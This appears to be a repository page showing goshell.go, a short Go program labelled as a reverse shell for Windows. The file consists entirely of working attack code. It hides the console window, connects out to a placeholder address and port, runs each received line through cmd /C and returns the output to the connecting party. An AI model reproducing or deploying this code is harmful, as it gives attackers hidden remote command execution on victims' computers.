-
Notifications
You must be signed in to change notification settings - Fork 0
/
goshell.go
53 lines (44 loc) · 975 Bytes
/
goshell.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//GO reverse shell
package main
import (
"bufio"
"net"
"os/exec"
"syscall"
)
var (
modkernel32 = syscall.NewLazyDLL("kernel32.dll")
moduser32 = syscall.NewLazyDLL("user32.dll")
procGetConsoleWindow = modkernel32.NewProc("GetConsoleWindow")
procShowWindow = moduser32.NewProc("ShowWindow")
)
const (
SW_HIDE = 0
)
func hideConsoleWindow() {
consoleWindow, _, _ := procGetConsoleWindow.Call()
if consoleWindow != 0 {
_, _, _ = procShowWindow.Call(consoleWindow, uintptr(SW_HIDE))
}
}
func main() {
hideConsoleWindow()
// Change the IP address below to the address of the target system
conn, err := net.Dial("tcp", "127.0.0.1:4444")
if err != nil {
panic(err)
}
for {
message, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
panic(err)
}
cmd := exec.Command("cmd", "/C", message)
output, err := cmd.Output()
if err != nil {
conn.Write([]byte(err.Error() + "\n"))
} else {
conn.Write(output)
}
}
}